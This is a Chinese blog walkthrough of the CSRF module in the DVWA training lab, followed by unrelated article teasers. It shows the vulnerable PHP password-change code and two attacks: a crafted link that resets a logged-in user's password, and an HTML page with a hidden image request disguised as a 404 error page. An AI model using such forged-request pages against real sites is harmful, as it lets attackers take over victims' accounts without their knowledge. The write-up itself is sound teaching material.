DVWA靶场通关(CSRF)

news2024/11/27 8:26:52

CSRF 是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

CSRF属于业务逻辑漏洞,服务器信任经过身份认证的用户。

漏洞利用前提::用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的,被害者是不知情的


DVWALOW等级

 
CSRF Source
vulnerabilities/csrf/source/low.php
<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
 
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
 
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
 
?>
 
 

代码解析:

查看源代码,首先获取输入的两个密码然后判断两个值是否相等,如果相等则对$pass_new变量进行调用mql_real_escape_string函数来进行字符串的过滤(防御SQL注入),再调用md5函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。分析源码只看到只对SQL注入进行了防御,并没有防御CSRF。

分析策略:

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制,所以我们只需要用户在cookie还有效的时间内在相同的浏览器访问我们给定的url(该操作是服务器对请求的发送者进行了身份验证,检查cookie),就可以实现CSRF攻击,修改用户密码。

测试用DVWA的默认密码登录,发现登录不进去,然后用修改过的密码登录,发现登录成功,说明存在CSRF漏洞。

题目内容:

方法一 构造攻击链接
按照提示框输入密码和确认密码之后得到链接为:http://192.168.40.1/DVWA-master/vulnerabilities/csrf/?password_current=password&password_new=123456&password_conf=123456&Change=Change&user_token=c0c8394b2f0bb672adc073e1f5c62d5f#

列子:

http://152.136.104.68:9001/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

当用户点击这个链接,密码就会自动被修改成admin,因此会有其他的工具用于将长链接缩短为短链接,如网站:百度短网址

方法二 构造攻击页面
新建一个html文件,通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码进行修改,再把该html文件放在攻击者自己准备的网站上。

<img src="http://152.136.104.68:9001/vulnerabilities/csrf/?password_new=admin2&password_conf=admin2&Change" >
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at Port 80 </address>
</body>
</html>

当受害者点击该html之后,页面返回的404,会让受害者误以为自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码修改为admin。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2062911.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【npm】npm 代理问题

使用electron 打包失败&#xff0c;报如下错误&#xff1a; proxyconnect tcp: dial tcp :0: connectex: The requested address is not valid in its context.解决办法 npm config delete proxy npm config delete https-proxy如果设置了代理&#xff0c;使用以下命令设置 …

手撕⼆叉树——堆

1. 树 1.1 树的概念与结构 树是⼀种⾮线性的数据结构&#xff0c;它是由 n &#xff08; n>0 &#xff09; 个有限结点组成⼀个具有层次关系的集合。把它 叫做 树是因为它看起来像⼀棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;⽽叶朝下的。 • 有⼀个特殊的…

AntSK:在无网络环境中构建你的本地AI知识库的终极指南

亲爱的读者朋友们&#xff0c;我是许泽宇&#xff0c;今天我将深入探讨一个引人注目的开源工具——AntSK。这个工具让您在没有互联网连接的情况下&#xff0c;仍然能够进行人工智能知识库的对话和查询。想象一下&#xff0c;即使身处无网络环境中&#xff0c;您也可以轻松与AI进…

class 1: vue初识

目录 特点Vue.js 2和Vue.js 3优缺点对比Vue.js 2缺点Vue.js 3优点 架构createApp的对象参数template属性data属性methods属性 vue是由Evan You开源的轻量级前端框架&#xff0c;诞生于2014年&#xff0c;Vue.js 3采用MVVM架构&#xff0c;支持声明式编程、组件化开发、前端路由…

【IEEE独立出版】第三届人工智能、物联网和云计算技术国际会议(AIoTC 2024,9月13-15)

第三届人工智能、物联网与云计算技术国际会议(AIoTC 2024)将于2024年9月13日-15日在中国武汉举行。 本次会议由华中师范大学伍伦贡联合研究院与南京大学联合主办、江苏省大数据区块链与智能信息专委会承办、江苏省概率统计学会、江苏省应用统计学会、Sir Forum、南京理工大学、…

防火墙iptalbes和firewalld

一、IPtables介绍 Iptables是unix/linux自带的一款开源的基于包过滤(对OSI模型的四层或者是四层以下进行过滤)的防火墙工具&#xff0c;它的功能十分强大&#xff0c;可以对流入和流出服务器的数据包进行很精细的控制。 iptables其实并不是真正的防火墙&#xff0c;我们可以把…

软信天成:国内企业需要什么样的国产主数据管理平台?(三)

在前两期的内容里&#xff0c;我们探讨了当前国内企业使用国产主数据管理平台的紧迫需求&#xff0c;概述了软信自主研发的智能主数据管理平台如何通过“数据建模”、“个性化配置”、“PIM管理”以及“权限管理”四大功能推动企业高效运作。 本期&#xff0c;我们将为您介绍平…

瑞吉外卖--登录退出功能的实现

登录功能 需求分析 1. Controller 定义&#xff1a;Controller是MVC&#xff08;Model-View-Controller&#xff09;设计模式中的一部分&#xff0c;负责处理HTTP请求并返回HTTP响应。在Spring MVC中&#xff0c;Controller通常是一个处理特定HTTP请求的类。作用&#xff1a; …

可调电阻是否有正负极?

可调电阻没有固定的正负极&#xff0c;但是有一根箭头表示旋转的方向。 可调电阻在形状上类似于一个圆柱形或方形的小盒子&#xff0c;通常带有三个引脚或更多&#xff0c;其中一个是中心引脚&#xff0c;其余的是两个端部引脚。不像电解电容或二极管那样有固定的正负极&#…

PHP轻创推客集淘客地推任务平台于一体的综合营销平台系统源码

&#x1f680;轻创推客&#xff0c;营销新纪元 —— 集淘客与地推任务于一体的全能平台&#x1f310; &#x1f308;【开篇&#xff1a;营销新潮流&#xff0c;轻创推客引领未来】 在瞬息万变的营销世界里&#xff0c;你还在为寻找高效、全面的营销渠道而烦恼吗&#xff1f;&…

Android经典实战之跳转到系统设置页面或其他系统应用页面大全

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 在Android开发中&#xff0c;经常需要跳转到系统设置页面或其他系统应用页面。以下是一些常见的跳转方式及对应的Intent动作&#xff1a; 1. 跳…

全渠道分销零售行业免费开源ERP解决方案

引言 协助分销及零售连锁企业快速搭建新零售格局&#xff0c;充分整合移动社交流量、门店流量&#xff0c;实现企业线上线下 全渠道管理运营。 业务挑战 传统的经营模式&#xff0c;客户流失严重 分销及零售企业还处于传统经营模式&#xff0c;单一的商品、收银方式、会员维护…

绝对能让你效率起飞的10个AI工具及ChatGPT国内镜像集合【2024必备】

随着GPT的兴起&#xff0c;一大批AI工具随之诞生&#xff0c;其中有很多堪称神器 分享10个国内可以使用使用的网站和AI搬砖工具&#xff0c;摸鱼起飞就靠他们了。 1&#xff1a; AI Plus【AI对话】 推荐指数&#xff1a;⭐️⭐️⭐️⭐️⭐️ 适合人群&#xff1a;学生党、打…

前端面试题每日一学_2

今日一题&#xff1a; 下面JS代码执行后&#xff0c;最终的三个console.log的输出结果是什么&#xff1f; var obj { num: 1 }; var arr1 [1, 2, obj]; var arr2 arr1.slice(1); arr2[0]; arr2[1].num; obj.num; arr1[2].num; console.log(arr1[1] arr2[0]); console.log…

家政预约小程序源码+快速搭建全攻略

前言&#xff1a; 家政预约小程序是一种便捷的家政服务预约平台&#xff0c;它通过互联网技术将家政服务资源与用户连接起来&#xff0c;为用户提供高效、便捷的家政服务预约体验。 一、家政服务小程序开发架构 前端&#xff1a;小程序前端开发主要使用的技术包括HTML、CSS、…

向量嵌入是什么?理解LLM数据表示的基础

向量嵌入将数据转换为数学方程&#xff0c;赋予了人工智能的认知能力&#xff0c;但它们是如何使机器能够“学习”和“成长”的呢&#xff1f; 向量嵌入是什么&#xff1f; 向量嵌入这玩意儿&#xff0c;其实就是给数据穿上一件数学的外衣&#xff0c;让它们之间的关系和相似…

【SQL】三角形判断

目录 题目 分析 代码 题目 表: Triangle ------------------- | Column Name | Type | ------------------- | x | int | | y | int | | z | int | ------------------- 在 SQL 中&#xff0c;(x, y, z)是该表的主键列。 该表的每一行包…

生信圆桌x生信豆芽菜:生物信息学新手的学习与成长平台

生信豆芽菜是一个专门为生物信息学初学者创建的学习与交流平台&#xff0c;致力于帮助新手们快速入门并掌握生信分析的基础知识与技能。随着生物信息学在科研中的重要性日益提升&#xff0c;越来越多的学生和研究人员开始接触这一领域。生信豆芽菜正是为了满足这些新手的需求&a…

土壤墒情固定监测站的工作原理

TH-GTS03土壤墒情固定监测站是一种专门用于监测土壤墒情信息的设备&#xff0c;它通过一系列精密的传感器和数据处理系统&#xff0c;实时、准确地获取土壤的水分含量、温度以及其他相关参数&#xff0c;为农业生产、生态保护和水资源管理等提供重要依据。 土壤墒情固定监测站通…

实用库/函数之链表的使用

目录 1.1结点的建立 1.2为链表结点分配内存空间 1.stdlib:malloc函数与free函数 2.new运算符与delete运算符 1.3链表的基本操作 1.链表的创建 (1)头插法 (2)尾插法 2.查找 3.插入 4.删除 5.总结(小tip) 1.4静态链表(类似于数组) 1.1结点的建立 typedef str…